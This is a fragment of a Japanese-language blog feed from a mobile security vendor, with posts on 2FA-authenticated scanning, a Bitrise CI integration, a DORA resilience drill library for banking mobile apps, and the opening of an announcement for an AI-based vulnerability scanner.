&lt;p&gt;&lt;strong&gt;DevSecOps&lt;/strong&gt; &lt;strong&gt;環境&lt;/strong&gt;では、手動の認証ステップをなくすことで、自動化されたパイプラインの中でセキュリティスキャンを確実に実行できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;リスク&lt;/strong&gt; &lt;strong&gt;の観点&lt;/strong&gt;からは、決済やデータアクセスといった保護された操作を含めることで、露出をより正確に評価できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスト&lt;/strong&gt; &lt;strong&gt;環境&lt;/strong&gt;では、認証を自動化することで一貫性が高まり、実行時間が短縮され、テスト管理が簡素化されます。&lt;/p&gt;
&lt;h2 id="セキュリティテストがログインページの先まで及ぶべき理由"&gt;セキュリティテストがログインページの先まで及ぶべき理由&lt;/h2&gt;
&lt;p&gt;認証はアクセスを保護しますが、セキュリティテストはアプリケーションが実際にどう使われているかを反映したものでなければなりません。&lt;/p&gt;
&lt;p&gt;現代のシステムを正確に評価するには、一般に公開されている表面だけでなく、実際のユーザーのやり取りや重要なワークフローまでテストの対象に含める必要があります。&lt;/p&gt;
&lt;h2 id="認証が必要なアプリケーションのテストを始める"&gt;認証が必要なアプリケーションのテストを始める&lt;/h2&gt;
&lt;p&gt;2FAに対応した最初の自動セキュリティテストを実行して、認証が必要なアプリケーションのテストを始めましょう。CI/CDパイプライン内のスキャンを認証済みの領域まで広げることで、実際のユーザーのやり取りを完全に可視化し、脆弱性が実際に発生している場所で特定し、アプリケーションセキュリティの死角をなくすことができます。&lt;/p&gt;
&lt;p&gt;有効にする準備はできましたか。SMS、メールOTP、TOTP、手動認証の手順を追った設定ガイドに従って、&lt;a href="https://docs.ostorlab.co/tutorials/2FA_scans.html"&gt;認証済みスキャンのための2FA&lt;/a&gt;を始めましょう。&lt;/p&gt;</content><category term="Product"/><category term="MFA"/></entry><entry><title>Ostorlab for Bitriseを発表：CIでのモバイルセキュリティスキャン</title><link href="https://blog.ostorlab.co/ja/ostorlab-bitrise-integration.html" rel="alternate"/><published>2026-03-27T14:44:00+01:00</published><updated>2026-03-27T14:44:00+01:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-03-27:/ja/ostorlab-bitrise-integration.html</id><summary type="html">&lt;p&gt;OstorlabがBitriseと連携し、CIワークフロー内で自動化されたモバイルアプリケーションのセキュリティスキャンを実行できるようになりました。Bitrise SecretとシンプルなScriptステップを使って、チームはOstorlab CLIをインストールし、パイプラインが生成したものと同じビルド成果物（Android APK、Android AAB、iOS IPAなど）に対してostorlab ci-scan runを実行できます。この連携は、フィードバックループを短縮し脆弱性をより早く検出することで、セキュリティのシフトレフトを後押しします。プロファイル（fast、full、agentic deep scan）によるスキャンの調整や、テスト用認証情報、SBOM、UIプロンプトなどの任意の入力にも対応しています。&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ostorlabが&lt;strong&gt;Bitrise&lt;/strong&gt;と連携し、CIワークフローの一部として&lt;strong&gt;自動化されたモバイルアプリケーションのセキュリティスキャン&lt;/strong&gt;を実行できるようになりました。これにより、脆弱性をより早く検出し、より自信を持ってリリースできます。&lt;/p&gt;
&lt;p&gt;Bitrise SecretとシンプルなScriptステップだけで、パイプラインが生成するものと同じ成果物（たとえばAndroidの&lt;code&gt;.APK&lt;/code&gt;やiOSの&lt;code&gt;.IPA&lt;/code&gt;）をスキャンできます。&lt;/p&gt;
&lt;h3 id="bitriseにモバイルセキュリティスキャンを統合する理由"&gt;&lt;strong&gt;Bitriseにモバイルセキュリティスキャンを統合する理由&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;現代のモバイルチームは、ビルド、テスト、リリースの自動化にすでにBitriseを活用しています。しかし、セキュリティチェックがパイプラインの外にあると、実施が遅れがちになり（あるいは一貫性を欠き）、直前の遅延や避けられたはずのリスクを生みます。スキャンをCIに組み込むことで、フィードバックをライフサイクルのより早い段階に移せるため、問題の対処にかかるコストが低く、より速く対応できるうちに修正できます。&lt;/p&gt;
&lt;h3 id="ostorlab x bitrise連携でできること"&gt;&lt;strong&gt;Ostorlab x Bitrise連携でできること&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Bitrise連携を使えば、Bitriseユーザーがすでに慣れ親しんでいる方法、つまり&lt;strong&gt;Secrets + Scriptステップ&lt;/strong&gt;で、既存のワークフローにOstorlabのスキャンを追加できます。具体的には、この連携はOstorlab CLIを使い、ワークフロー中に生成されたビルド成果物（たとえばBitriseが公開する&lt;code&gt;.APK&lt;/code&gt;のパス）に対して&lt;code&gt;ci-scan run&lt;/code&gt;を実行します。&lt;/p&gt;
&lt;p&gt;ニーズに合わせてスキャンを柔軟に調整することもできます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パイプラインの実行にどの程度の深さを求めるかに応じて、&lt;strong&gt;&lt;code&gt;fast&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;full&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;agentic deep scan&lt;/code&gt;&lt;/strong&gt;といったスキャンプロファイルから選択できます。  &lt;/li&gt;
&lt;li&gt;連携ガイドでサポートされているさまざまな種類のモバイル成果物（たとえば&lt;strong&gt;&lt;code&gt;android-apk&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;android-aab&lt;/code&gt;&lt;/strong&gt;、&lt;strong&gt;&lt;code&gt;ios-ipa&lt;/code&gt;&lt;/strong&gt;）をスキャンできます。  &lt;/li&gt;
&lt;li&gt;より高度なワークフロー向けに、&lt;strong&gt;テスト用認証情報&lt;/strong&gt;、&lt;strong&gt;SBOM&lt;/strong&gt;、&lt;strong&gt;UIプロンプト&lt;/strong&gt;など、任意の入力や自動化のフックを（ドキュメントに記載のとおり）指定できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="仕組み"&gt;&lt;strong&gt;仕組み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;この連携は、簡単に導入できるよう設計されています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ostorlabポータル（API keysメニュー）で&lt;strong&gt;OstorlabのAPIキーを生成&lt;/strong&gt;します。  &lt;/li&gt;
&lt;li&gt;スクリプトにハードコードされないよう、&lt;strong&gt;APIキーをBitrise Secretsに保存&lt;/strong&gt;します。  &lt;/li&gt;
&lt;li&gt;Bitriseの&lt;strong&gt;Workflow Editor&lt;/strong&gt;で、スキャンしたいワークフロー（たとえばメインのワークフロー）に&lt;strong&gt;Scriptステップを追加&lt;/strong&gt;します。  &lt;/li&gt;
&lt;li&gt;そのScriptステップで、Ostorlab CLIをインストールし、Bitriseが生成したビルド成果物のパス（たとえばAndroidの&lt;code&gt;.APK&lt;/code&gt;）に対して&lt;code&gt;ostorlab ci-scan run&lt;/code&gt;を実行します。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;具体的な出発点が必要な場合は、連携ガイドに、&lt;code&gt;pip&lt;/code&gt;でOstorlabをインストールし、Secretと、Bitriseが公開する成果物のパスの変数（例：&lt;code&gt;BITRISE_APK_PATH&lt;/code&gt;）を使ってスキャンコマンドを実行するScriptステップの例が掲載されています。&lt;/p&gt;
&lt;div style="position:relative;width:100%;padding-top:56.25%;margin:1rem 0;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/dshdO6oJkyA" style="position:absolute;inset:0;width:100%;height:100%;border:0;" title="Ostorlab連携 - Bitrise連携"&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3 id="パイプラインに合わせてスキャンをカスタマイズする"&gt;&lt;strong&gt;パイプラインに合わせてスキャンをカスタマイズする&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;リリースの構成やCIで実施したいチェックに応じて、連携ページに記載されているCLIフラグと環境変数を使ってスキャンコマンドを設定できます。これには、スキャンプロファイルの選択（&lt;code&gt;fast&lt;/code&gt;か&lt;code&gt;full&lt;/code&gt;か）、スキャンする成果物の種類の選択（APK/AAB/IPA）、そして必要に応じた追加の入力（SBOMなど）やガイダンス（UIプロンプトなど）の指定が含まれます。&lt;/p&gt;
&lt;h3 id="はじめに"&gt;&lt;strong&gt;はじめに&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;連携を有効にし、具体的なセットアップ手順に従うには、OstorlabドキュメントのBitrise連携ガイドをご覧ください。&lt;br/&gt;
&lt;a href="https://docs.ostorlab.co/integrations/bitrise/index.html"&gt;&lt;strong&gt;https://docs.ostorlab.co/integrations/bitrise/index.html&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="Product"/><category term="Mobile Security"/><category term="CI/CD"/><category term="DevSecOps"/><category term="Ostorlab"/><category term="CI Scanning"/></entry><entry><title>DORAのもとでのモバイルのオペレーショナルレジリエンス：BFSIジャーニー向けの最もシンプルな訓練ライブラリ</title><link href="https://blog.ostorlab.co/ja/dora-mobile-resilience-drills.html" rel="alternate"/><published>2026-03-24T14:44:00+01:00</published><updated>2026-03-24T14:44:00+01:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-03-24:/ja/dora-mobile-resilience-drills.html</id><summary type="html">&lt;p&gt;BFSIチーム向けに、DORAコンプライアンスをモバイルの視点から解説するガイドです。スコープの定め方、リリースプロセスの簡素化、不要なコンプライアンス作業を生む落とし穴の避け方を紹介します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="https://blog.ostorlab.co/dora-compliance-for-mobile-releases.html"&gt;第2回の記事&lt;/a&gt;がDORAコンプライアンスを通常のリリースガバナンスのように感じられるものにすることについてだったとすれば、今回は、モバイルチームが必ず尋ねられる次の実践的な問いについてです。&lt;/p&gt;
&lt;p&gt;「何かが壊れたら、どうなるのか」&lt;/p&gt;
&lt;p&gt;BFSIのモバイルでは、この問いが机上の空論であることはめったにありません。依存関係が劣化し、プロバイダーが不調な日を迎え、設定変更が誤った形で波及し、気づけば顧客がログインできなかったり決済を承認できなかったりします。オペレーショナルレジリエンスの目標は、こうしたことが決して起きないふりをすることではありません。最も重要な障害モードを予行演習しておき、何をして何を学んだかを示せるようにすることです。&lt;/p&gt;
&lt;p&gt;本記事では、モバイルの重要なジャーニーに焦点を当てた、シンプルな訓練ライブラリを提供します。これは、チームをフルタイムの演習委員会に変えてしまうことなく、実行しやすく、エビデンスを示しやすく、時間をかけて改善しやすいように設計されています。&lt;/p&gt;
&lt;h3 id="本記事の使い方"&gt;&lt;strong&gt;本記事の使い方&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;最もシンプルに価値を得たい場合は、下記のライブラリから4つの訓練を選び、そこから始めてください。一度に1つの訓練を1つのジャーニーに対して実行し、出力を一貫させます。ステップ3の訓練レポートのテンプレートを使い、フォローアップは小さく具体的に保ちます。始める前に、実際に何をレジリエントに保とうとしているのかについて、全員の認識を合わせておいてください。&lt;/p&gt;
&lt;h2 id="モバイルチームにとっての「オペレーショナルレジリエンス」とは"&gt;&lt;strong&gt;モバイルチームにとっての「オペレーショナルレジリエンス」とは&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;モバイルにおいて、レジリエンスは「顧客が重要なジャーニーを安全に完了できるか」として測るのが最善です。「システムが稼働しているか」ではありません。「モニタリングが発火したか」でもありません。ジャーニーは、ユーザーが実際に体験することを反映するため、私たちを誠実に保ってくれます。&lt;/p&gt;
&lt;p&gt;BFSIのモバイルでは、重要なジャーニーは予測可能です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ログイン&lt;/li&gt;
&lt;li&gt;OTPやプッシュ承認などのステップアップ認証&lt;/li&gt;
&lt;li&gt;アカウント復旧&lt;/li&gt;
&lt;li&gt;決済と送金&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらのジャーニーが劣化すると、顧客はすぐにそれを感じ取ります。だからこそ、モバイル優先のオペレーショナルレジリエンスのプログラムは、まずジャーニーから始め、そこから逆算して依存関係へとさかのぼります。&lt;/p&gt;
&lt;p&gt;まずジャーニーを選び、次に依存関係をマッピングしましょう。何が何につながっているかについて全員の認識が合っていると、訓練ははるかに容易になるからです。&lt;/p&gt;
&lt;h2 id="ステップ1:重要なジャーニーを選び、その依存関係を列挙する"&gt;&lt;strong&gt;ステップ1：重要なジャーニーを選び、その依存関係を列挙する&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;シンプルに保ちましょう。3〜5つのジャーニーから始めます。ほとんどのチームは、当初はそれ以上を必要としません。&lt;/p&gt;
&lt;h3 id="推奨されるbfsiモバイルのジャーニーのセット"&gt;&lt;strong&gt;推奨されるBFSIモバイルのジャーニーのセット&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ログイン&lt;/li&gt;
&lt;li&gt;ステップアップ認証、OTPとプッシュ承認&lt;/li&gt;
&lt;li&gt;アカウント復旧&lt;/li&gt;
&lt;li&gt;決済と送金&lt;/li&gt;
&lt;li&gt;アプリに存在する場合は、オンボーディングとKYC&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="各ジャーニーについて、依存関係を文書化する"&gt;&lt;strong&gt;各ジャーニーについて、依存関係を文書化する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;完璧な図は必要ありません。短いリストで十分です。&lt;/p&gt;
&lt;p&gt;ログインの依存関係リストの例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アイデンティティプロバイダーとトークンサービス&lt;/li&gt;
&lt;li&gt;バックエンドのAPIゲートウェイ&lt;/li&gt;
&lt;li&gt;ログイン時に使う場合は、リスクまたは不正の判定&lt;/li&gt;
&lt;li&gt;認証の挙動を変え得るリモート設定やフィーチャーフラグ&lt;/li&gt;
&lt;li&gt;使用する場合の証明書ピンニングを含む、モバイルネットワーク層の設定&lt;/li&gt;
&lt;li&gt;オブザーバビリティとテレメトリのパイプライン&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この依存関係リストこそが、「レジリエンス」をテスト可能なものに変えるものです。&lt;/p&gt;
&lt;p&gt;これで、混沌のための汎用的な混乱ではなく、実際の障害モードに合致した訓練を実行できます。&lt;/p&gt;
&lt;h2 id="ステップ2:訓練ライブラリ、bfsiモバイルで最も重要なシナリオ"&gt;&lt;strong&gt;ステップ2：訓練ライブラリ、BFSIモバイルで最も重要なシナリオ&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;以下は、大がかりな準備なしに実行できる訓練です。それぞれが重要なジャーニーと、BFSIで実際の顧客影響を引き起こす依存関係のパターンに結び付いています。まず3〜4つから始めて実行し、驚いた点を書き留めてから、拡大していきます。カオスエンジニアリングの会社になろうとしているわけではありません。最も一般的な障害モードを退屈なものにしようとしているのです。&lt;/p&gt;
&lt;p&gt;これらの訓練を一貫させるシンプルな方法は、毎回同じ5つの問いに答えることです。何をシミュレートしたか、どうやって安全にシミュレートしたか、アプリはどう振る舞うべきか、チームは何を見て何を判断できるべきか、そしてどのエビデンスを保持するか、です。&lt;/p&gt;
&lt;h3 id="クイックスタート:4つの訓練だけを実行するなら"&gt;&lt;strong&gt;クイックスタート：4つの訓練だけを実行するなら&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;最初に4つの訓練だけを実行するなら、このセットがBFSIモバイルの現実の多くをカバーします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アイデンティティプロバイダーの劣化&lt;/li&gt;
&lt;li&gt;OTPのレイテンシと配信の失敗&lt;/li&gt;
&lt;li&gt;APIゲートウェイ、WAF、またはレート制限が正当なモバイルトラフィックをブロックする&lt;/li&gt;
&lt;li&gt;リモート設定またはフィーチャーフラグのミス&lt;/li&gt;
&lt;/ul&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;訓練&lt;/th&gt;
&lt;th&gt;影響を受けるジャーニー&lt;/th&gt;
&lt;th&gt;何が壊れるか&lt;/th&gt;
&lt;th&gt;「良い」状態とは&lt;/th&gt;
&lt;th&gt;取得すべきエビデンス&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1. アイデンティティプロバイダーの劣化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ログイン、トークンの更新&lt;/td&gt;
&lt;td&gt;高い認証レイテンシ、断続的な5xx、更新の失敗、セッションのブートストラップの失敗&lt;/td&gt;
&lt;td&gt;バックオフ付きの安全なリトライ、リトライの殺到なし。クリーンなセッション状態。明確なエラーUX。バージョン単位の迅速な影響評価&lt;/td&gt;
&lt;td&gt;認証のレイテンシとエラーのダッシュボード。バージョン単位の影響メモ。テストした緩和策の意思決定ログ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2. OTPのレイテンシと配信の失敗&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ステップアップ認証&lt;/td&gt;
&lt;td&gt;OTPの遅延や未達、再送のループ、スロットリング、相関のタイムアウト&lt;/td&gt;
&lt;td&gt;再送回数の制限とクールダウンの強制。ユーザーの行き詰まりなし。安全なメッセージング。明確な運用上のフォールバックの選択肢&lt;/td&gt;
&lt;td&gt;OTPの成功率とレイテンシのスナップショット。ユーザー体験の状態の記録。再送／UIポリシーへのフォローアップの変更メモ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3. プッシュ承認の混乱&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ステップアップ認証、承認&lt;/td&gt;
&lt;td&gt;プッシュの遅延／障害、トークンの無効化、タイムアウト後の遅れた承認&lt;/td&gt;
&lt;td&gt;クリーンなタイムアウト。承認の滞留なし。リトライをまたいだ一貫した状態。明確な回復経路&lt;/td&gt;
&lt;td&gt;プッシュ配信のメトリクス。遅延した承認のタイムラインのスナップショット。サポート／エスカレーション向けのランブックの更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4. APIゲートウェイ、WAF、またはレート制限がモバイルトラフィックをブロックする&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ログイン、決済&lt;/td&gt;
&lt;td&gt;WAFルールの誤発火、厳しすぎるレート制限、APIゲートウェイの部分的な劣化、エンドポイント固有のブロック&lt;/td&gt;
&lt;td&gt;4xx/5xxの安定した処理。境界が定められたリトライ。負荷の増幅なし。安全な決済のリトライ挙動&lt;/td&gt;
&lt;td&gt;設定変更ログの抜粋。ロールバック前後のエラー率。429/403に対するクライアントの挙動メモ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5. 証明書のローテーションとピンニング失敗の予行演習&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ネットワークを使うすべてのジャーニー&lt;/td&gt;
&lt;td&gt;証明書チェーンの問題、ピンセットの不一致、信頼の失敗、端末の時刻のずれ&lt;/td&gt;
&lt;td&gt;予測可能な失敗状態。予行演習済みの回復。安全でない「無効化してしまう」回避策なし&lt;/td&gt;
&lt;td&gt;ランブックの抜粋と改善点。アプリのバージョンごとに切り分けた影響。ローテーションプロセスの主要な教訓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;6. リモート設定またはフィーチャーフラグのミス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ログイン、決済、起動時の安定性&lt;/td&gt;
&lt;td&gt;不正な設定のロールアウト、設定サービスの障害、古いまたは不整合なフラグ&lt;/td&gt;
&lt;td&gt;安全なデフォルト値。不正な組み合わせに対するガードレール。安定した起動。検証可能な迅速なロールバック&lt;/td&gt;
&lt;td&gt;設定の監査証跡のスナップショット。ロールバック前後のメトリクス。デフォルト値／ガードレールへのフォローアップの改善&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;7. 不正またはリスクの判定の設定ミス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ログイン、ステップアップ、決済&lt;/td&gt;
&lt;td&gt;誤検知、ロックアウト、予期しないステップアップの急増、一貫しないリスクの結果&lt;/td&gt;
&lt;td&gt;一貫した処理。安全なメッセージング。ユーザーにとって明確な次の一手。協調的なロールバックと回復の計測&lt;/td&gt;
&lt;td&gt;リスク判定のメトリクスのスナップショット。必要に応じたサポートガイダンスの更新。ポリシー変更とロールバックの意思決定ログ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;8. ジャーニーに影響するサードパーティ依存のインシデント&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;決済、オンボーディング／KYC、リスクスコアリング&lt;/td&gt;
&lt;td&gt;プロバイダーのエラー／レイテンシ、不正な形式のレスポンス、依存関係の劣化した挙動&lt;/td&gt;
&lt;td&gt;安全な劣化。一貫した状態。増幅を繰り返す呼び出しなし。明確なフォールバックの判断&lt;/td&gt;
&lt;td&gt;プロバイダーのエラー／レイテンシのスナップショット。フォールバックの判断のまとめ。追加されたモニタリング／ランブックの改善&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;訓練は、適切なエビデンスを取得してはじめて役に立ちます。そうでなければ、チャットの履歴に埋もれて消えていくカレンダー上の予定になってしまいます。&lt;/p&gt;
&lt;h2 id="ステップ3:各訓練が生み出すべきもの、実際に役立つエビデンス"&gt;&lt;strong&gt;ステップ3：各訓練が生み出すべきもの、実際に役立つエビデンス&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;訓練の出力は軽量で一貫したものに保ちましょう。エンジニアリングの改善に役立ち、意思決定者がリスクを理解するのに役立ち、後から必要になるエビデンスを裏付けるものが欲しいところです。&lt;/p&gt;
&lt;h3 id="最小限の訓練レポートのテンプレート"&gt;&lt;strong&gt;最小限の訓練レポートのテンプレート&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;すべての訓練で同じテンプレートを使います。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;訓練レポート&lt;/th&gt;
&lt;th&gt;詳細&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;訓練のサマリー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;テストしたジャーニー &amp;bull; シミュレートしたシナリオ &amp;bull; 環境 &amp;bull; 参加者（名前ではなく役割）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;重要な瞬間&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開始時刻 &amp;bull; 検知時刻 &amp;bull; 封じ込めのアクションと時刻 &amp;bull; 回復時刻&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;影響&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;顧客体験 &amp;bull; 影響を受けたアプリのバージョン（該当する場合） &amp;bull; 地域またはプロバイダー固有のメモ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;意思決定&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;何を、誰によって、なぜ変更したか &amp;bull; 何を変更せず、なぜか&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;結果&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;うまくいったこと &amp;bull; 分かりにくかった、または遅かったこと &amp;bull; 欠けていたモニタリング／テレメトリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;フォローアップ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1〜3つの具体的な改善 &amp;bull; 各改善のオーナー &amp;bull; 改善の検証計画&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これは、事務作業にならずに役立つ、十分なエビデンスです。&lt;/p&gt;
&lt;p&gt;ここからが最も重要な部分、すなわち訓練の教訓をリリースの制御へと変え、同じ問題で二度と不意を突かれないようにすることです。&lt;/p&gt;
&lt;h2 id="ステップ4:ループを閉じる、訓練はリリースの制御を変えるべき"&gt;&lt;strong&gt;ステップ4：ループを閉じる、訓練はリリースの制御を変えるべき&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;ここで、レジリエンスの作業が、並行した活動ではなく、リリースプログラムの一部になります。&lt;/p&gt;
&lt;p&gt;訓練のたびに、2つの問いを立てます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リリース前に、何がこの問題を防ぎ、あるいは影響を軽減できたか。&lt;/li&gt;
&lt;li&gt;次はもっとうまくやるために、リリースのベースラインやランブックに何を追加すべきか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「訓練から制御へ」の改善の例：&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="「制御の改善」への訓練の例" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-24_dora_drill_library/Examples of drill to control improvements.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;ここは、&lt;a href="https://blog.ostorlab.co/dora-compliance-for-mobile-releases.html"&gt;第2回の記事&lt;/a&gt;と第3回の記事がつながる箇所でもあります。リリースのベースラインには、少数のレジリエンスの備えに関する制御を含めるべきです。訓練こそが、それらの制御を実体のあるものにします。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="オペレーショナルレジリエンスのループ：訓練 &amp;rarr; エビデンス &amp;rarr; 制御の更新" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-24_dora_drill_library/Operational resilience loop.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;最後に一つ実践的な詳細を挙げます。混乱を引き起こしたり、プロセスを過剰に作り込んだりせずに、訓練を実行する方法です。&lt;/p&gt;
&lt;h2 id="チームを疲弊させずにこれらの訓練を実行する方法"&gt;&lt;strong&gt;チームを疲弊させずにこれらの訓練を実行する方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;いくつかの小さなルールが、モバイルチームにとってレジリエンスの訓練を持続可能なものにします。&lt;/p&gt;
&lt;p&gt;ライブでのテストにリスクがある場合は、机上訓練（テーブルトップ）から始めます。本番に近いシステムに触れることなく、シナリオを一通りたどり、オーナーシップと意思決定のポイントを検証し、ランブックを改善することは可能です。各訓練は一度に1つのジャーニーに絞って続けてください。すべてを一度にテストすると、たいていは何も明確に学べないからです。&lt;/p&gt;
&lt;p&gt;たとえ短くても毎回同じ訓練レポートのテンプレートを使うことで、出力を一貫させます。フォローアップは意図的に制限します。訓練ごとに1〜3つの改善で十分です。そうでないと、訓練は誰もオーナーになりたがらないバックログを生み出してしまいます。最後に、後でシナリオを再実行します。繰り返しこそが、変更がレジリエンスを向上させたことを証明する方法であり、訓練が一度きりのイベントのように感じられなくなり、通常のモバイル運用のように感じられ始める方法です。&lt;/p&gt;
&lt;h2 id="おわりに"&gt;&lt;strong&gt;おわりに&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;DORAのもとでのオペレーショナルレジリエンスは、複雑である必要はありません。モバイルチームにとって最もシンプルなアプローチは、重要なジャーニーに焦点を当て、それらを壊す障害モードを訓練し、具体的な改善につながる軽量なエビデンスを生み出すことです。&lt;/p&gt;
&lt;p&gt;次の記事では、モバイルで最も多くの驚きを生みがちな領域、すなわちサードパーティリスクに取り組みます。SDKのインベントリと変更管理、重要なジャーニーのためのプロバイダー依存、そして後からレビューしやすいエビデンスパックの作り方を取り上げます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;次の記事：&lt;/strong&gt;&lt;em&gt;モバイルAppSecのためのDORAサードパーティリスク：SDKガバナンスと監査に備えたエビデンスパック&lt;/em&gt;&lt;/p&gt;</content><category term="Security"/><category term="DORA"/><category term="Compliance"/><category term="Mobile Security"/></entry><entry><title>OstorlabがAgentic Deep Scanをリリース：次世代の脆弱性スキャナー</title><link href="https://blog.ostorlab.co/ja/ostorlab-launches-agentic-deep-scan.html" rel="alternate"/><published>2026-03-19T11:00:00+01:00</published><updated>2026-03-19T11:00:00+01:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2026-03-19:/ja/ostorlab-launches-agentic-deep-scan.html</id><summary type="html">&lt;p&gt;Ostorlabは、iOS、Android（近日中にharmonyOSにも対応）、Webアプリケーションにおける現実のリスクを検証する次世代の脆弱性スキャナー、Agentic Deep Scanをリリースしました。Bring Your Own Key（BYOK）に対応しているため、データとコストを完全に管理したまま、その強力なスキャン機能を安心して試せます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ostorlabの&lt;strong&gt;新しい次世代の脆弱性スキャナー&lt;/strong&gt;、&lt;strong&gt;Agentic Deep Scan&lt;/strong&gt;を発表できることを大変うれしく思います。これは単なるスキャナーの一つではありません。iOS、Android（近日中にharmonyOSにも対応）、Webアプリケーションに対する現実の攻撃をシミュレートし、すべての検出結果を&lt;strong&gt;現実的な条件下で&lt;/strong&gt;検証する、根本的に異なるアプローチです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bring Your Own Key（BYOK）&lt;/strong&gt;に対応しているため、この次世代のスキャンアプローチを試しながら、データとAIの利用を完全に管理できます。&lt;/p&gt;
